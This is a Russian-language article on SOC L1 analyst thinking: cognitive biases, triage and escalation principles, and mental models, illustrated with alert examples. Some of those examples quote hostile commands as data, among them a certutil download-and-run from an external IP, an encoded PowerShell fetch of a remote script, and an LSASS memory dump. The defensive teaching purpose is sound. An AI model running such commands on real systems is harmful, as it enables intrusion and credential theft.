Майндсет аналитика SOC: как мыслить, чтобы эффективно искать угрозы

Аналитику SOC L1 приходится принимать решения в условиях неполной информации и ограниченного времени. Разбираем, как когнитивные искажения влияют на анализ алертов и какие практики помогают избегать ошибок.

Введение

Аналитик SOC получает очередной алерт. Сценарий знакомый: похожие срабатывания уже встречались и обычно оказывались ложноположительными. Кажется, что и сейчас все понятно. Но достаточно ли этого, чтобы закрыть алерт? И не пропустил ли аналитик что-то важное, потому что слишком быстро нашел привычное объяснение?

Для работы в SOC L1 нужны знания сетей, операционных систем, SIEM и EDR, типов атак, логов и протоколов. Но техническая подготовка — только часть дела. Не менее важно правильно интерпретировать данные: учитывать контекст, устанавливать связи между событиями и проверять все гипотезы, даже если первая версия кажется убедительной.

Плейбуки и чек-листы помогают структурировать анализ и не забывать о типовых проверках. Однако они не могут предусмотреть все сочетания событий и пробелы в телеметрии. Даже выполнив все предусмотренные шаги, аналитик может упустить важный контекст или неверно интерпретировать результат.

Дополнительную сложность создают поток алертов и ограниченное время. Чтобы работать быстрее, часто опираются на знакомые сценарии и предыдущий опыт. Обычно это помогает, но иногда приводит к ошибкам: люди замечают факты, подтверждающие первоначальную гипотезу, и недооценивают те, которые ей противоречат.

В этой статье разберем, как аналитик L1 принимает решения, какие когнитивные искажения могут повлиять на его выводы и какие ментальные модели помогают проверять гипотезы, работать с неопределенностью и вовремя эскалировать подозрительную активность.

SOC L1: первый рубеж анализа

SOC L1 — первая линия анализа событий кибербезопасности. Аналитик первого уровня сталкивается с потенциально подозрительной активностью и определяет, требует ли она внимания. Если неверно классифицировать или пропустить алерт, есть риск потерять время на реагирование. Тогда злоумышленник может продолжить атаку, получить дополнительные привилегии или закрепиться в инфраструктуре.

При этом одних технических знаний недостаточно. Современный SOC работает с большим количеством инструментов, источников событий и технологий, которые постоянно развиваются. Невозможно глубоко знать техническую специфику каждого продукта, помнить особенности всех форматов логов или заранее знать возможные сценарии атак. Поэтому от аналитика L1 требуется не только знание конкретных технологий, но и способность правильно мыслить в условиях неполной информации.

На качество анализа влияют и когнитивные искажения. Человек склонен искать подтверждение первой возникшей гипотезе, уделять больше внимания очевидным признакам, недооценивать информацию, которая не вписывается в привычную картину, и делать недостаточно обоснованные выводы, когда событий слишком много или решение нужно принять быстро. Релевантная информация может быть обесценена как несущественная, неправильно интерпретирована, отвергнута из-за несоответствия первоначальной гипотезе или просто не замечена.

При этом задача аналитика L1 — не расследовать каждый инцидент до конца, а провести первичную проверку, определить характер события и дальнейшее действие: закрыть алерт или эскалировать его. Технические знания дают специалисту инструменты для расследования. Правильный майндсет позволяет эффективно их использовать.

Особенности мышления у аналитиков SOC

Часто аналитики внимательнее относятся к тому, как мыслят в работе, когда уже ошиблись. Преждевременно закрытое срабатывание или запоздалая эскалация заставляют пересмотреть ход анализа: какие данные были упущены, почему первая версия показалась убедительной и что помешало вовремя ее проверить. Негативный опыт может стать сильным стимулом к развитию, но его цена — потерянное время реагирования, а иногда и пропущенный инцидент.

Аналитическое мышление — навык, который можно целенаправленно развивать. Для этого нужна практика: выдвигать и проверять гипотезы, объяснять свои выводы, разбирать решения и получать обратную связь. Учебные расследования и разборы прошлых инцидентов позволяют делать это без риска для инфраструктуры. Начать стоит с понимания того, что влияет на наши решения: ограничений мышления или привязанности к первой версии.

Ограниченная рациональность

В 1957 году американский ученый Герберт Саймон предложил концепцию ограниченной рациональности. Он утверждал, что из-за ограничений умственных способностей разум не способен справляться со всей сложностью окружающего мира. Из-за этого человек создает упрощенную мысленную модель реальности, а затем работает с ней. Однако она не всегда соответствует требованиям реального мира.

Эту идею иллюстрирует работа аналитика L1. Чтобы в сжатые сроки принять решение на основе большого количества информации, специалист опирается на упрощенные модели реальности, использует правила корреляции, сигнатуры, контекст инцидента и заранее определенные процедуры реагирования. Такой подход позволяет быстро отсеивать очевидно безопасные события и выделять опасные. Но все равно остается риск ошибок: часть сложных атак может не соответствовать известным шаблонам, а безобидное событие — выглядеть подозрительным.

Аналитик SOC не воспринимает происходящее в инфраструктуре напрямую. Его представление о ситуации формируется на основе информации, которую предоставляют системы мониторинга, логи, EDR, SIEM, сетевые средства защиты и другие источники. Аналитик выбирает, на какие события обратить внимание, как связать их между собой и какой смысл им приписать. Так он интерпретирует объективное событие в инфраструктуре.

На трактовку происходящего влияют не только профессиональные знания, но и предыдущий опыт, рабочие требования и внутренние процессы SOC. В результате два аналитика, получив доступ к одному и тому же набору событий, могут сформировать разные гипотезы о происходящем. Поэтому задача специалиста заключается не в том, чтобы собрать абсолютно все доступные данные, а в том, чтобы понимать ограничения собственной картины происходящего и осознанно работать с ними.

Упрощенные модели реальности формируются относительно быстро, а меняются сложно и долго. Поэтому обучение аналитика не должно ограничиваться техническими знаниями, знакомством с SIEM, EDR и внутренними процессами. Важно также развивать аналитическое мышление: умение проверять гипотезы, распознавать собственные допущения и пересматривать вывод при появлении новых данных.

Эффект якоря

Это склонность при принятии решения чрезмерно опираться на первую полученную информацию. Для аналитика SOC L1 таким якорем может стать исходный приоритет алерта, название правила корреляции, комментарий коллеги, результат автоматического анализа, известная классификация пользователя или системы, а также собственный опыт работы с похожими событиями.

Проблема не в самом использовании первоначальной информации: аналитик должен быстро сформировать предварительную гипотезу, чтобы понимать, какие данные проверять дальше. Риск возникает, когда предварительная гипотеза перестает быть рабочей версией и становится основой для интерпретации всех последующих данных.

Особенность эффекта якоря в том, что аналитик может и дальше собирать информацию, выполнять необходимые технические действия. Однако интерпретация полученных данных происходит через первоначальную установку. Нейтральный признак воспринимается как подтверждение версии, а противоречащий — как исключение, которое можно объяснить отдельно.

Для L1 это особенно актуально при работе с повторяющимися алертами. Если определенный тип срабатывания много раз оказывался легитимным, у аналитика формируется устойчивая ассоциация: «Этот алерт обычно ложный». При появлении очередного срабатывания специалист может быстрее перейти к знакомому объяснению и сократить глубину проверки. Но одинаковый тип алерта не означает одинаковый контекст. Злоумышленник может применять инструменты и техники, которые применяют администраторы. Отличие будет во времени использования, учетной записи, источнике, последовательности действий или сочетании с другими событиями.

Еще один распространенный источник якоря — автоматическая классификация. Если система уже присвоила алерту низкий приоритет или AI-агент указал на вероятно легитимную активность, легко воспринять эту оценку как объективный факт. Но это лишь дополнительная информация, требующая проверки.

Важный принцип для L1: разделять первоначальную гипотезу и вывод. Исходная оценка — всего лишь рабочая версия, которую можно и нужно пересматривать по мере появления новых данных. Если во время анализа появляются признаки, которые плохо объясняются текущей гипотезой, следует не игнорировать их, а вернуться к исходному предположению.

Принципы эффективного аналитика SOC

Разберемся, как принимать достаточно хорошее решение при недостатке информации и ограниченном времени.

Уведомлять своевременно, ясно и достоверно

Результат работы аналитика L1 — не просто закрытый алерт, а качественно оформленная карточка инцидента, на основании которой коллеги следующего уровня или команда реагирования смогут быстро принять решение. При этом специалист должен уметь соблюдать баланс между глубиной анализа и оперативностью: не закапываться в логах в попытке найти абсолютно все детали. Хорошая карточка инцидента отвечает на три вопроса:

• Что произошло?

• Почему мы считаем это подозрительным?

• Что рекомендуется делать дальше?

При подготовке уведомления важно соблюдать следующие правила.

Своевременность

Не нужно ждать, пока будут собраны абсолютно все возможные данные. Если уже понятно, что событие требует внимания, необходимо сформировать карточку и передать ее дальше. При этом своевременно не значит поспешно. Перед эскалацией следует провести необходимый первичный анализ, проверить ключевые факты и оценить потенциальный импакт.

Ясность

Описание должно быть понятным другому аналитику или заказчику. Не стоит перегружать карточку нерелевантными логами и техническими деталями: важно выделить главное, а не просто скопировать результаты поиска. В хорошем описании информация должна быть полезной, а не избыточной.

Достоверность

Необходимо отделять подтвержденные факты от предположений и не делать выводов, которые не подтверждаются имеющимися данными. Если в логах подтверждено выполнение команды — это факт. Если есть только признаки того, что действие могло быть выполнено, это следует обозначить как предположение или потенциальный сценарий. Также важно указать, какие обстоятельства еще требуют проверки.

Обеспечивать качество вердикта и карточки инцидента

Каждый алерт должен завершаться не только корректным вердиктом, но и понятным обоснованием этого решения. По этой записи другие аналитики должны быстро понять, что именно проверено, какие факты установлены и на каком основании активность признана легитимной или требующей дальнейшего внимания. Другой аналитик, столкнувшись с аналогичным срабатыванием, должен иметь возможность понять логику предыдущего решения и использовать ее в своей работе.

Если по результатам анализа формируется инцидент и передается дальше, карточка должна учитывать потребности разных участников процесса: аналитика L2, которому предстоит продолжить расследование, и заказчика, которым может быть как технический специалист, так и CISO. Для L2 важны технические факты, результаты проверок, основания для подозрения и направления дальнейшего расследования. Заказчику необходимо понимать суть произошедшего, какие активы затронуты, каковы потенциальные последствия и какие действия требуется предпринять.

Эскалировать обоснованно

SOC L1 должен постоянно балансировать между двумя задачами: не пропустить вредоносную активность и не перегрузить заказчика потоком тикетов, не представляющих практической ценности.

Избыточные уведомления постепенно снижают ценность работы SOC. Если заказчик регулярно получает большое количество тикетов, которые оказываются легитимными или незначительными, возникает усталость от уведомлений. В результате внимание к следующим снижается, хотя они могут свидетельствовать об атаке.

Определить потенциальный импакт до уведомления заказчика

Не стоит уведомлять заказчика только потому, что поступил алерт или обнаружено подозрительное событие. Прежде чем сообщить об инциденте, аналитик L1 должен определить его потенциальный импакт. Для этого нужно понять не только что произошло, но и почему событие может быть опасно для инфраструктуры заказчика: какой актив или учетная запись затронуты, какие действия могли быть выполнены, есть ли признаки компрометации и к каким последствиям это может привести.

Это не означает, что L1 должен доказать факт ущерба или провести полноценное расследование. Его задача — оценить потенциальное воздействие на основании доступных данных. Если импакт пока не подтвержден, это необходимо обозначить как гипотезу. Такой подход позволяет избежать необоснованного нагнетания ситуации и одновременно дает заказчику полезную информацию для принятия решения.

Избегать «зеркального отражения»

Аналитики SOC учатся, воспроизводя атаки и моделируя действия злоумышленника: выполняют их техники в лабораторной среде, анализируют артефакты и наблюдают, как атака выглядит с точки зрения защитника. Это помогает лучше понимать поведение противника, но может привести к «зеркальному отражению» (mirror imaging) — предположению, что злоумышленник будет действовать так же, как поступил бы сам аналитик в аналогичных обстоятельствах.

Иногда аналитик вынужден так рассуждать, потому что не знает, что планирует злоумышленник. Этот подход помогает лучше понимать поведение противника, однако это же может быть опасно, ведь разные люди даже в одинаковых ситуациях реагируют по-разному.

Особенно опасно считать, что злоумышленник ограничен теми же представлениями о целесообразности действий, что и аналитик. Например, если специалист не видит практической ценности в каком-либо действии, это не значит, что оно бесполезно и для атакующего. 

Поэтому вместо вопроса «Что бы я сделал на его месте?» полезнее задавать вопрос «Какие варианты поведения соответствуют фактам и мотивации злоумышленника?». Это помогает отделять факты от предположений о намерениях и рассматривать несколько объяснений происходящего.

Задача аналитика — не пытаться угадать образ мышления противника, а рассматривать разные объяснения его поведения, выходя за рамки собственных представлений о нем.

Обращать внимание на неожиданные детали

В работе аналитика чувство удивления может быть полезным сигналом. Если новая информация не соответствует сложившейся картине происходящего, не стоит автоматически отбрасывать ее как исключение, ошибку или незначительную деталь. Напротив, это повод проверить собственные предположения и спросить себя, может ли другая гипотеза лучше объяснить эту информацию.

В SOC подобные несоответствия могут проявляться в разных формах:

• пользователь выполняет действие, которое не соответствует его обычному поведению;

• процесс запустился в необычном контексте;

• последовательность событий не соответствует обычному сценарию;

• система демонстрирует активность, которую текущая гипотеза не объясняет.

Каждое такое наблюдение само по себе может быть незначительным. Одно или два небольших несоответствия могут указывать на то, что модель происходящего неполна, ситуация изменилась, аналитик упустил важный контекст или первоначальная гипотеза неверна. Поэтому важно не пытаться объяснить неожиданную деталь в рамках привычной версии, а разобраться в причине несоответствия.

Такой подход особенно важен при расследовании сложных инцидентов. Чем сильнее аналитик привязан к первоначальной гипотезе, тем выше риск интерпретировать новые данные в ее пользу. Внимание к неожиданным деталям помогает вовремя остановиться, пересмотреть предположения и проверить альтернативные объяснения.

Анализировать собственные решения

В работе SOC невозможно полностью исключить ошибки: аналитик работает в условиях неполной информации, ограниченного времени и большого количества событий. Важно уметь распознавать ошибки, понимать их причины и не допускать повторения. Для этого полезно периодически возвращаться к завершенным карточкам инцидентов и разбирать случаи, когда первоначальный вердикт оказался неверным или анализ был недостаточно глубоким.

При таком разборе важно смотреть не только на результат, но и на процесс принятия решения:

• Какие факты были доступны на момент анализа?

• На какой гипотезе остановились?

• Какие признаки были проигнорированы?

• Где возникло ложное предположение?

• Не повлиял ли на решение эффект якоря, стремление быстрее закрыть алерт или чрезмерное доверие к автоматическому результату?

Такой разбор позволяет увидеть собственные повторяющиеся ошибки и понять, какие элементы аналитического процесса требуют изменения.

Полезно возвращаться и к успешным случаям, чтобы понять, что именно позволило принять правильное решение. Возможно, аналитик заметил нетипичный признак, проверил альтернативную гипотезу, сопоставил несколько источников или вовремя задал нужный вопрос. Такой разбор помогает превратить опыт одного успешного решения в подход, который можно применять в похожих ситуациях.

Разбивать сложную задачу на части

При расследовании сложного инцидента аналитик не всегда может удержать в памяти все события, факты, гипотезы и связи между ними. Чтобы не упустить важные детали, полезно разделять задачу на составляющие и фиксировать результаты анализа в удобном формате.

В этом помогают два подхода:

• Декомпозиция — разделение сложной аналитической задачи на отдельные составляющие.

• Экстернализация — фиксация наблюдений, фактов, гипотез и хода анализа во внешнем формате, например в карточке расследования, таблице или схеме.

Например, при декомпозиции алерта можно выделить несколько вопросов:

• Кто? Пользователь, учетная запись, IP-адрес, процесс.

• Что? Произошедшее событие.

• Где? Хост, IP-адрес, приложение.

• Когда? Время и последовательность событий.

• Как? Команда, процесс, способ выполнения.

• Откуда и куда? IP-адреса источника и назначения, домены, сетевые соединения.

• Каков контекст? Что происходило до и после события.

• Какие признаки угрозы обнаружены? IoC, подозрительные паттерны.

Ответы помогают структурировать расследование и подготовить карточку инцидента.

Экстернализация особенно полезна при большом количестве событий, пользователей, хостов, индикаторов компрометации, временных связей и возможных гипотез. Чем сложнее расследование, тем выше вероятность потерять важную связь, пропустить противоречие или преждевременно остановиться на одной версии.

Поэтому при анализе сложного события полезно:

• разделить задачу на части,

• зафиксировать и структурировать информацию,

• проанализировать отдельные элементы,

• проверить взаимосвязи,

• собрать целостную картину происходящего.

Такой подход позволяет снизить когнитивную нагрузку на аналитика, сделать ход расследования воспроизводимым и повысить вероятность того, что вывод будет основан на совокупности данных и проверенных гипотез.

Пример

Дамп памяти процесса LSASS:

Изучим событие Sysmon 10: обнаружен доступ rundll32.exe к lsass.exe от имени SYSTEM, в стеке вызовов выявлены функции дампирования памяти MiniDumpW и MiniDumpWriteDump. По анализу событий Windows найдем цепочку процессов powershell.exe → rundll32.exe → обращение к lsass.exe. Также известен путь скрипта C:\Windows\Temp\folder\update.ps1 и предполагаемый путь дампа C:\Windows\Temp\folder\lsass.dmp. 

Уже есть основания подозревать попытку получить учетные данные из памяти LSASS.

Чтобы не держать весь контекст в голове, применим декомпозицию: разделим расследование на отдельные составляющие: кто инициировал запуск, что выполнял скрипт, создан ли дамп и что происходило дальше. Затем используем экстернализацию — вынесем в карточку расследования цепочку процессов, временную шкалу, подтвержденные факты и открытые вопросы.

Проверять выводы AI-агентов

Современные SOC все чаще используют AI-агентов, чтобы автоматизировать анализ алертов, обогащать события, искать взаимосвязи и готовить предварительные выводы. Это позволяет сократить объем рутинной работы, однако результат работы AI-агента не следует воспринимать как готовый аналитический вывод. AI работает с доступными ему данными и формирует заключение на основании обнаруженных закономерностей. Но он может не учитывать контекст конкретной инфраструктуры, пропускать значимый признак или строить логически обоснованную, но неверную интерпретацию события.

Задача аналитика в том, чтобы проверить сформированную гипотезу. Если агент сообщает, что активность легитимна, необходимо понимать, на основании каких данных сделан такой вывод. Если AI указывает на возможную атаку, следует самостоятельно проверить ключевые признаки: источник и характер активности, последовательность событий, учетную запись, затронутые системы, сетевые соединения и другие доступные артефакты. При этом важно искать не только подтверждение вывода, но и признаки, которые могут ему противоречить.

Ментальные модели SOC

Ментальные модели — это способ, с помощью которого человек упрощает и интерпретирует сложный мир, чтобы понимать происходящее и принимать решения. Это не формальная инструкция и не алгоритм действий, а внутреннее представление о том, как устроены процессы, события и взаимосвязи между ними.

В работе SOC L1 ментальные модели помогают структурировать анализ: определять, на что обратить внимание, какие вопросы задать и как установить причинно-следственные связи. Они дают аналитику ориентиры для принятия решений в типовых ситуациях, не заменяя проверку фактов и контекста.

Такие модели можно использовать уже при обучении новых сотрудников, чтобы формировать не только знание инструментов и процедур, но и общий подход к анализу событий. Рассмотрим основные ментальные модели для аналитиков L1.

Не считать алерт доказательством атаки

Алерт указывает на событие, которое соответствует условиям детекта, но сам по себе не доказывает наличие атаки или компрометации. Это отправная точка для анализа, а не кибератака.

Как применять

Каждый алерт необходимо проверять с учетом фактических данных и контекста. Аналитику важно установить:

• что именно произошло;

• какой пользователь, хост или сервис задействован;

• откуда и когда произошла активность;

• характерна ли она для этого окружения;

• есть ли дополнительные признаки вредоносной активности.

Пример

Аналитик получает алерт на запуск PsExec для выполнения команды на удаленном сервере:

psexec \\SRV-DB-01 cmd.exe

Запуск выполнен под учетной записью CORP\admin.

PsExec может использоваться для штатного администрирования, поэтому факт его запуска требует проверки контекста. Аналитик изучает события до и после срабатывания на целевом хосте: входы в систему, создание процессов и другую связанную активность. В доступных данных он не находит дополнительных подозрительных признаков.

Затем специалист проверяет источник подключения и учетную запись. Подключение выполнено с административного хоста, использована штатная административная учетная запись, а целевой сервер входит в зону ответственности этого пользователя.

Полученные данные согласуются с легитимной административной активностью. Однако отсутствие подозрительных событий еще не доказывает, что действие было санкционировано. Если для обоснованного решения требуется подтверждение, аналитик сверяет активность с заявкой на работы или уточняет у ответственного сотрудника, была ли она санкционирована, в соответствии с внутренним регламентом.

В результате разбора важно зафиксировать не только вывод, но и его основания: какие события проверены, какой контекст установлен и остались ли пробелы в данных. Если информации недостаточно или обнаружены противоречия, проверку продолжают либо передают на следующую линию по принятой процедуре.

Рассматривать альтернативные гипотезы

Одно и то же событие может быть следствием как вредоносной активности, так и легитимных действий пользователя, администратора или системы. Поэтому первая версия аналитика не должна автоматически считаться правильной. Рассмотрение альтернативных гипотез помогает снизить риск эффекта якоря и избежать поиска только тех фактов, которые подтверждают первоначальное предположение.

Как применять

Для каждого алерта аналитик должен сформировать как минимум две гипотезы:

• Вредоносная активность — например, действия с использованием скомпрометированной учетной записи.

• Легитимная активность — например, штатные действия пользователя или администратора.

Затем необходимо проверить факты, которые могут подтвердить или опровергнуть каждую из версий.

Пример

Аналитик получает алерт на выполнение команды на удаленном сервере через PsExec:

psexec \\SRV-DB-01 cmd.exe

Запуск выполнен под учетной записью CORP\admin.

Аналитик формулирует две гипотезы:

• Гипотеза 1 — активность вредоносная. Учетная запись CORP\admin скомпрометирована, а PsExec используется для перемещения по сети.

• Гипотеза 2 — активность легитимная. Администратор выполняет штатные работы на SRV-DB-01.

Чтобы сравнить обе версии, аналитик изучает источник подключения, события аутентификации и процессы, запущенные до и после срабатывания. Также выясняет, входит ли сервер в зону ответственности пользователя и соответствует ли активность обычному порядку администрирования.

Проверка показывает, что подключение выполнено с административного хоста, а целевой сервер входит в инфраструктуру, которую этот пользователь обычно обслуживает. Дополнительных подозрительных признаков в просмотренных событиях не обнаружено.

Эти факты поддерживают гипотезу о легитимности, но не исключают компрометацию. Если цель запуска неясна, аналитик сверяет действие с заявкой на работы или уточняет его у ответственного сотрудника по внутреннему регламенту.

Результат проверки можно сформулировать так: «Доступные данные согласуются со штатной административной активностью. В проверенных источниках дополнительных признаков компрометации или вредоносного перемещения по сети не выявлено». В материалах разбора следует указать, какие факты привели к этому выводу и какие вопросы остались открытыми.

Проверять причинно-следственные связи между событиями

То, что два события произошли рядом по времени или связаны одним пользователем, хостом или IP-адресом, еще не означает, что одно событие стало причиной другого. В SOC особенно легко принять последовательность событий за цепочку атаки, хотя на самом деле они могут быть независимыми.

Как применять

Если аналитик связывает два события, он должен подтвердить эту связь дополнительными техническими признаками: процессами, PID / Parent PID, сетевыми соединениями, файлами, командами, учетными записями, временными метками и другими артефактами.

Пример

Аналитик замечает два события, связанных с одним пользователем:

• 10:02:15 — пользователю CORP\ivanov доставлено фишинговое письмо.

• 10:05:43 — на его рабочей станции WS-042 запущен powershell.exe.

Так появляется гипотеза: пользователь открыл вложение, которое запустило PowerShell. Значит, надо проверить происхождение процесса:

• Родительский процесс: C:\Program Files\CorpManagement\agent.exe.

• Команда: powershell.exe -File C:\ProgramData\CorpManagement\inventory.ps1.

• Учетная запись: NT AUTHORITY\SYSTEM.

Аналогичные запуски зафиксированы на других рабочих станциях.

Удалось установить, что запуск PowerShell объясняется выполнением плановой инвентаризации. Данных, связывающих его с фишинговым письмом, не обнаружено. Само письмо и возможные действия пользователя с ним проверяются отдельно.

Таким образом, временная близость событий не подтверждает причинно-следственную связь между ними.

Учитывать контекст при оценке алерта

Одно и то же событие может быть нормальным в одном контексте и подозрительным в другом. Само по себе событие редко позволяет корректно определить характер активности. Поэтому для классификации алерта важно учитывать обстоятельства, в которых оно произошло.

Как применять

При рассмотрении алерта аналитик должен учитывать:

• Тип и критичность актива. Это рабочая станция, сервер баз данных, контроллер домена или другая система? Какую функцию он выполняет и какие последствия может иметь его компрометация?

• Роль пользователя. Соответствует ли действие обязанностям владельца учетной записи? Работает ли он обычно с этим хостом?

• Источник активности. Подключение выполнено с предусмотренного административного хоста или с нетипичного устройства?

• Время выполнения. Попадает ли событие в обычный график активности или согласованное окно работ?

• Бизнес-контекст. Проводятся ли обновления, миграция, обслуживание или аварийные работы, которые могут объяснить действие?

Пример

Аналитик получает алерт на выполнение команды на удаленном сервере:

• Время: 02:17:21.

• Команда: psexec \\SRV-DB-01 cmd.exe.

• Учетная запись: CORP\admin.

Он проверяет контекст и устанавливает:

• Актив SRV-DB-01 — сервер баз данных.

• Учетная запись CORP\admin — административная.

• Время: вне согласованного окна работ.

Административная роль учетной записи согласуется с использованием PsExec. Однако запуск вне окна работ требует объяснения: автоматически считать его штатным нельзя. Поэтому аналитик изучает связанные события и замечает:

• 02:17:21 — на SRV-DB-01 запущен cmd.exe.

• 02:18:03 — зафиксированы обращения с SRV-DB-01 на внешний IP-адрес.

Дополнительная сетевая активность усиливает подозрение, если такие обращения нехарактерны для этого сервера. Аналитику необходимо выяснить назначение внешнего адреса, определить процесс — инициатор соединения и проверить его связь с удаленным запуском. Временная близость событий сама по себе эту связь не доказывает.

На этом этапе обоснованный вывод: активность требует дальнейшей эскалации, поскольку произошла вне рабочего времени и сопровождалась сетевыми обращениями, назначение которых пока не установлено. Приоритет разбора определяется с учетом критичности сервера и внутренних правил SOC.

Эскалировать при неопределенности

Аналитик L1 не всегда может однозначно определить характер активности. Недостаток данных — это не причина закрывать алерт, если сохраняются признаки потенциальной угрозы. В таком случае эскалация позволяет передать событие на более глубокое расследование и снизить риск пропуска атаки.

Как применять

Если после первичной проверки остаются признаки потенциальной угрозы, но данных недостаточно для уверенной классификации, аналитик эскалирует событие, указывая:

• что было обнаружено;

• какие признаки вызывают подозрение;

• что уже было проверено;

• каких данных недостаточно для окончательного вывода.

Пример

Аналитик получает алерт на запуск PowerShell на сервере:

• Время: 02:17:21.

• Процесс: powershell.exe -enc <Base64>.

• Учетная запись: CORP\user1.

• Хост: SRV-APP-01.

После декодирования команды аналитик видит:

Invoke-WebRequest http://10.10.20.15/update.ps1

Команда обращается к ресурсу update.ps1 на другом хосте. Само использование Base64 не доказывает вредоносность, а показанная команда не подтверждает сохранение скрипта на диск или его выполнение.

Аналитик проверяет события входа и запуска процесса:

• 02:16:54 — вход CORP\user1 на SRV-APP-01 с WS-042.

• 02:17:21 — запуск powershell.exe.

Затем изучает родительский процесс, сетевые события и сведения о файле. В доступных данных зафиксировано соединение с 10.10.20.15, однако содержимое update.ps1 и назначение этого хоста установить не удалось.

Рабочая гипотеза: активность может быть связана с получением скрипта для последующего выполнения. Альтернативное объяснение — штатное обновление или обслуживание. Доступных данных недостаточно, чтобы уверенно выбрать одну из версий.

Аналитик передает событие на L2 с кратким описанием.

Фокусироваться на снижении неопределенности

Задача аналитика L1 — не полное расследование, а первичная оценка и принятие решения. Важно определить, когда собранной информации достаточно для обоснованного вердикта. Дальнейшие проверки не должны задерживать закрытие алерта или эскалацию потенциального инцидента, если основания для решения уже есть.

Как применять

Результатом анализа должно быть обоснованное решение: закрытие алерта либо эскалация потенциального инцидента.

Пример

Аналитик получает алерт на запуск certutil.exe:

• Время: 22:41:12.

• Команда: certutil.exe -urlcache -split -f http://185.XX.XX.10/a.exe C:\Users\Public\a.exe.

• Учетная запись: CORP\user1.

• Хост: WS-042.

Сначала специалист проверяет происхождение команды и ее результат. По дереву процессов устанавливает, что родительским процессом certutil.exe был winword.exe. Затем находит событие создания файла:

• 22:41:12 — winword.exe → certutil.exe.

• 22:41:14 — создан C:\Users\Public\a.exe.

Следующая проверка позволяет узнать, был ли запущен файл. Аналитик обнаруживает запуск C:\Users\Public\a.exe и сетевое соединение, связанное с этим процессом:

• 22:41:15 — запущен C:\Users\Public\a.exe.

• 22:41:16 — процесс a.exe установил соединение с 185.XX.XX.10.

Связь подтверждается данными о процессах, файловых операциях и сетевом соединении. Одного совпадения временных меток для такого вывода было бы недостаточно.

Установленная последовательность выглядит так: Word запустил certutil.exe, тот загрузил исполняемый файл с внешнего адреса, после чего файл был запущен и установил сетевое соединение.

Эти факты дают достаточные основания для эскалации потенциального инцидента. Чтобы принять такое решение, не требуется определять семейство вредоносного ПО или полностью анализировать файл. Достаточно отметить неустановленные обстоятельства, например происхождение документа и назначение загруженного файла, как вопросы для дальнейшего расследования.

Уточнять недостающую информацию

Если аналитику не хватает информации для уверенного вывода, стоит уточнить ее у коллег, а не строить предположения.

Как применять

При необходимости аналитик может проконсультироваться с L2 или другими аналитиками L1 в смене.

Пример

Аналитик обнаруживает запуск PowerShell с необычной командой на сервере:

• Время: 03:14:22.

• Команда: cmdline: powershell.exe -File C:\Temp\deploy.ps1.

• Пользователь: CORP\deploy.

• Хост: SRV-APP-01.

Он проверяет связанные события:

• 03:14:20 — logon: CORP\deploy.

• 03:14:22 — process: powershell.exe.

• 03:14:23 — network: SRV-APP-01 → SRV-DEPLOY.

Активность технически похожа на автоматизированное развертывание, но специалисту неизвестно, является ли CORP\deploy штатной сервисной учетной записью и должен ли SRV-DEPLOY выполнять такие действия ночью. Это лучше уточнить у коллеги следующего уровня. Аналитик L2 подтвердил, что это сервисная учетная запись системы деплоя, а deploy.ps1 запускается при ночных обновлениях.

Без этого контекста аналитик мог бы ошибочно эскалировать легитимную активность. Теперь он может закрыть алерт, так как легитимность активности подтверждена.

Сравнивать активность с нормальным поведением

Чтобы выявить отклонение, необходимо понимать, какое поведение является нормальным для конкретного пользователя, хоста или сервиса.

Как применять

Оценивать события в сравнении с историческим поведением пользователя, хоста или сервиса.

Пример

Аналитик обнаруживает успешный RDP-вход на сервер под учетной записью резервного копирования:

• Время: 14:23:10.

• Учетная запись: CORP\svc_backup.

• Источник: WS-042.

• Целевой хост: SRV-FILE-01.

• Тип входа: RemoteInteractive.

За последние 30 дней в доступных журналах эта учетная запись использовалась только для сетевых подключений с сервера резервного копирования BACKUP-01. RDP-входов не обнаружено. Учетная запись предназначена для автоматического резервного копирования, интерактивная работа под ней не предусмотрена.

Текущий вход выполнен с рабочей станции WS-042, после входа в той же сессии запущены cmd.exe и команда whoami /all. Согласованных работ, объясняющих такое использование учетной записи, не найдено.

Таким образом, отклонение заключается в способе использования учетной записи: вместо обычного сетевого доступа с сервера резервного копирования выполнен интерактивный вход с рабочей станции. Аналитик эскалирует событие, указав обычный профиль активности и выявленные отклонения. Аномалия требует проверки, но сама по себе еще не доказывает компрометацию.

Не считать высокую критичность алерта подтверждением атаки

Высокий приоритет алерта указывает на потенциальный риск, но не является доказательством вредоносности активности. Поэтому даже критические срабатывания требуют обоснованного анализа, а вердикт должен опираться на проверенные факты.

Как применять

Все алерты, независимо от уровня критичности, подлежат одинаково взвешенному анализу.

Пример 

Аналитик получает алерт на доступ к lsass.exe на контроллере домена. Правило настроено на любые обращения к этому процессу:

• Event: ProcessAccess в 03:17:42.

• SourceImage: C:\Program Files\MonitoringAgent\agent.exe.

• TargetImage: C:\Windows\System32\lsass.exe.

• GrantedAccess: 0x1000.

• Хост: DC-01.

Первая гипотеза: процесс пытается получить доступ к учетным данным в памяти LSASS.

Однако значение 0x1000 соответствует PROCESS_QUERY_LIMITED_INFORMATION — праву на получение ограниченных сведений о процессе. Эта маска доступа не включает право чтения памяти. Путь, цифровая подпись, хеш и версия agent.exe соответствуют установленному агенту мониторинга. Его конфигурация и документация подтверждают, что агент собирает сведения о работающих процессах. Аналогичные обращения с той же маской доступа регулярно встречаются на хостах с этой версией агента. В событиях вокруг срабатывания дополнительных подозрительных действий не обнаружено.

Таким образом, зафиксированное обращение соответствует штатному сбору сведений о процессах. Оснований считать его чтением памяти или созданием дампа LSASS нет. Аналитик закрывает алерт как легитимную активность, фиксирует результаты проверок и предлагает уточнить детект с учетом прав доступа и подтвержденного поведения агента.

Когнитивные искажения и типичные ошибки анализа

Когнитивные искажения — это систематические отклонения в восприятии, мышлении и принятии решений. Они возникают из-за ограничений человеческой памяти, внимания, опыта и проявляются даже у самых опытных специалистов. Такие искажения могут заставлять человека неверно интерпретировать информацию или делать слишком однозначные выводы.

В SOC они проявляются, например, в преждевременном формировании вывода, поиске только подтверждений своей гипотезы, чрезмерном доверии к первой версии событий или игнорировании противоречащей информации. Полностью исключить когнитивные искажения невозможно, но можно научиться замечать их влияние и проверять собственные выводы.

Рассмотрим основные когнитивные искажения для аналитика L1.

Эвристика узнавания 

Опираясь на свой опыт, аналитик закрывает алерт как ложноположительный, не проверяя связанные события на хосте.

Пример

Аналитик получает алерт на операции с ACL учетной записи krbtgt системным администратором. Похожие действия уже неоднократно признавались легитимными и подтверждались заказчиком. Поэтому специалист закрывает новое срабатывание без дополнительной проверки.

